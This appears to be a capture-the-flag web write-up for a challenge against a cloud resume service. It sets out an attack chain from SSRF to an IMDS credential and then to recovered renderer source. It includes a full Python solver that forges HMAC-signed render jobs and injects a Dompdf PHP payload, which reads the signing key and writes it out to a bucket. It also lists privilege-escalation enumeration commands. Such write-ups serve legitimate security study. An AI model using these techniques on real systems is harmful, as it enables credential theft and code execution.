← Back to Writeups
HTBN/AWeb

МёдХантер III: знак качества

XESXOR8/23/20267 min read
#web#htb#n/a

МёдХантер III: знак качества

Platform: Avitoctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-23 | Status: Solved Techniques: full_read_ssrf, imds_credential_recovery, container_image_extraction, cloud_function_source_recovery, signed_queue_forgery, dompdf_php_rce, hmac_verification

Summary

Task: A cloud-backed resume service exposes public PDF IDs and verification codes plus an authenticated full-read SSRF. Solution: Recover the renderer source and queue protocol, forge a signed S3 job, and exploit PHP-enabled Dompdf to extract the HMAC key.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: avitoctf | ID: 20260723_avitoctf_myodhanter_iii_znak_kachestva
  • Tags: ssrf, go_binary, hmac, cloud_metadata, dompdf, object_storage, serverless
  • Indicators: public PDFs expose UUIDs and 64-hex verification codes, Object Storage creation triggers a PDF renderer, resume fields are interpolated into HTML without escaping, Dompdf has isPhpEnabled set to true
  • Source: 20260723_avitoctf_myodhanter_iii_znak_kachestva.md

Foothold

Vulnerability / Misconfiguration

  1. Full_read_ssrf
  2. Imds_credential_recovery
  3. Container_image_extraction
  4. Cloud_function_source_recovery
  5. Signed_queue_forgery
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • full_read_ssrf
  • imds_credential_recovery
  • container_image_extraction
  • cloud_function_source_recovery
  • signed_queue_forgery
  • dompdf_php_rce
  • hmac_verification
  • Tags: ssrf, go_binary, hmac, cloud_metadata, dompdf, object_storage, serverless

Original Writeup

<details><summary>Click to expand original content</summary>

МёдХантер III: знак качества — avitoctf

Description

The organizer description was not preserved verbatim in the task artifacts. The challenge asks for the master secret used to sign generated resumes and produce their public verification codes.

Analysis

This challenge continues the first two parts of the series. The authenticated resume importer was already known to provide full-read SSRF, including access to the IMDSv1 compatibility service. Cloud-init user-data disclosed the configured backend image, application Object Storage configuration, registry identifier, callback/storage architecture, and the PDF beta invitation. It did not contain the PDF signing key.

Public PDFs provided two useful values: a UUID document ID and a 64-hex verification code. For example:

ID:   a3887633-b724-513f-b921-bc36bdbaff01
Code: 31605b7bc34f743b61b255814906a836b3d520c5ad1f44448a9ae39c96129dc7

Bounded tests of direct SHA-256, truncated SHA-512, and BLAKE2 derivations over canonical, compact, raw-byte, path, and newline UUID forms produced no matches. The codes were therefore consistent with a keyed MAC rather than an unkeyed digest.

Under prior explicit authorization for this exact challenge deployment, the temporary IAM credential obtained through IMDS was kept only in memory. Cloud and registry access was strictly bounded to the named challenge resources, and only this configured image was pulled:

cr.yandex/crpml40t8ia2kptf4iv7/hrportal-backend:latest

GoReSym recovered the functions SeekerService.enqueueRender and renderPayload from the backend binary. Static string analysis also found the render-queue signing key used by the backend; its value is intentionally omitted.

Bounded Yandex Cloud API inspection then identified:

  • the medhunter-pdf-renderer function;
  • an Object Storage trigger for incoming/*.json objects;
  • the source object medhunter-fn-src-6d6c314a/pdf-renderer.zip;
  • a Lockbox binding from pdf-signing-key to PDF_SIGNING_KEY.

Direct Lockbox payload access returned HTTP 403. However, the application Object Storage credential previously exposed by cloud-init could read the exact renderer source object. No unrelated storage objects were inspected.

The recovered source established the complete vulnerability chain:

  1. index.php:128 verifies a queue envelope with HMAC-SHA256 over document_uuid + "." + base64(payload).
  2. index.php:191 calculates the public verification code as HMAC-SHA256 of the document UUID under PDF_SIGNING_KEY.
  3. render.php:42-48 interpolates resume fields directly into HTML without escaping.
  4. render.php:65 enables Dompdf's PHP evaluator with isPhpEnabled=true.

Thus, possession of the backend's queue key allowed creation of a valid render job. An injected <script type="text/php"> block in the about field executed inside the renderer and could call the renderer's own s3_request() helper.

Solution

1. Recover deployment details through the established SSRF

Reuse the authenticated resume-import full-read SSRF from parts I and II to read cloud-init user-data and, only under the explicit deployment authorization, the IMDS temporary IAM credential. Keep the temporary credential in memory and constrain its use to the configured challenge resources.

Pull only the backend image named in user-data, extract image-backend/rootfs/app/hrportal-api, and run GoReSym. The recovered symbols locate the queue creation logic, while a bounded binary search identifies the queue signing key by its fixed format. Do not print or preserve that key in reports.

2. Map the renderer deployment and obtain its source

List the challenge function, version, and trigger metadata. This reveals the renderer function, source archive, Object Storage event prefix, and the Lockbox-to-environment binding. Although direct access to the Lockbox payload is denied, the already exposed application S3 credential can read the specifically named function source archive.

Source review shows that a render job has this logical structure:

{
  "key": "<DOCUMENT_UUID>",
  "payload": "<BASE64_RESUME_JSON>",
  "signature": "<HMAC_SHA256>"
}

The trigger invokes the function whenever a matching JSON object is created beneath incoming/ in the challenge input bucket.

3. Forge a signed job and exploit PHP-enabled Dompdf

The following sanitized solver reproduces the exploit. Supply the previously recovered challenge storage values through environment variables; the queue key is extracted locally from the authorized backend image. The script does not display any credential or recovered secret.

#!/usr/bin/env python3
import base64
import hashlib
import hmac
import io
import json
import os
import re
import time
import uuid
from pathlib import Path

from minio import Minio
from minio.error import S3Error

binary = Path("image-backend/rootfs/app/hrportal-api").read_bytes()
queue_key = re.search(rb"mhq_v1_[0-9a-f]{32}", binary).group(0)

endpoint = os.environ["STORAGE_ENDPOINT"]
region = os.environ.get("STORAGE_REGION", "ru-central1")
bucket = os.environ["STORAGE_BUCKET"]
access_key = os.environ["STORAGE_ACCESS_KEY"]
secret_key = os.environ["STORAGE_SECRET_KEY"]

document_id = str(uuid.uuid4())
output_object = f"solver-output/{document_id}.txt"

php = (
    '<script type="text/php">'
    "$v=getenv('PDF_SIGNING_KEY');"
    "\\s3_request('PUT',getenv('STORAGE_ACCESS_KEY'),"
    "getenv('STORAGE_SECRET_KEY'),"
    f"'{bucket}','{output_object}',$v,'text/plain');"
    "</script>"
)

resume = {
    "title": "Controlled security review",
    "full_name": "Solver",
    "city": "Test",
    "salary": 1,
    "about": php,
    "experience": "normal",
    "skills": "testing",
    "contact": "solver@example.invalid",
    "is_vip": False,
}

payload = base64.b64encode(
    json.dumps(resume, separators=(",", ":")).encode()
).decode()
message = f"{document_id}.{payload}".encode()
signature = hmac.new(queue_key, message, hashlib.sha256).hexdigest()
envelope = json.dumps(
    {"key": document_id, "payload": payload, "signature": signature},
    separators=(",", ":"),
).encode()

client = Minio(
    endpoint,
    access_key=access_key,
    secret_key=secret_key,
    secure=True,
    region=region,
)
client.put_object(
    bucket,
    f"incoming/{document_id}.json",
    io.BytesIO(envelope),
    len(envelope),
    content_type="application/json",
)

for _ in range(45):
    try:
        response = client.get_object(bucket, output_object)
        recovered = response.read().decode().strip()
        response.close()
        expected = "31605b7bc34f743b61b255814906a836b3d520c5ad1f44448a9ae39c96129dc7"
        Path("recovered-key.txt").write_text("<REDACTED>\n")
        assert recovered.startswith("avito{") and recovered.endswith("}")
        assert hmac.new(
            recovered.encode(),
            b"a3887633-b724-513f-b921-bc36bdbaff01",
            hashlib.sha256,
        ).hexdigest() == expected
        print("recovered and cryptographically validated PDF signing key")
        break
    except S3Error as exc:
        if exc.code not in ("NoSuchKey", "NoSuchObject"):
            raise
    time.sleep(2)
else:
    raise SystemExit("renderer did not create the controlled output")

The payload writes only PDF_SIGNING_KEY to a unique solver-controlled object in the challenge input bucket. It does not access unrelated bucket content or inspect objects created by other competitors.

4. Verify the recovered key independently

Use the public document pair rather than trusting exfiltration alone:

import hashlib
import hmac
import os

document_id = b"a3887633-b724-513f-b921-bc36bdbaff01"
expected = "31605b7bc34f743b61b255814906a836b3d520c5ad1f44448a9ae39c96129dc7"
key = os.environ["PDF_SIGNING_KEY_RECOVERED"].encode()

assert hmac.new(key, document_id, hashlib.sha256).hexdigest() == expected
print("public PDF verification code matches")

The exact match proves that the recovered value is the HMAC key used for public resume verification codes.

Controlled Dead Ends

  • Cloud-init and ordinary metadata did not directly expose the PDF signing key.
  • The internal callback secret was not the verification-code MAC key.
  • Common unkeyed SHA-256, SHA-512, and BLAKE2 derivations did not reproduce public codes.
  • The import workflow populated the edit form but did not provide a captcha-free path to queue arbitrary renders.
  • Direct Lockbox payload access returned HTTP 403.
  • A Dompdf SVG local-file-read vulnerability was considered, but became unnecessary once source recovery exposed direct PHP execution.

Evidence

  • notes.md — full hypothesis history, authorization boundary, dead ends, exploit result, and verification.
  • user-data.txt — configured image and challenge storage/registry architecture; sensitive values omitted here.
  • image-backend/rootfs/app/hrportal-api and goresym.json — backend image and recovered queue-related symbols.
  • cloud-functions.json, cloud-function-versions.json, and cloud-triggers.json — function, source-object, secret-binding, and trigger metadata.
  • renderer-src/index.php:128,191 — queue-envelope validation and HMAC verification-code computation.
  • renderer-src/render.php:42-48,65 — unescaped resume fields and PHP-enabled Dompdf.
  • exploit_renderer.py — original bounded exploit implementation; sensitive values are not reproduced here.
  • resume-1.txt — public UUID and verification-code pair used for independent confirmation.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR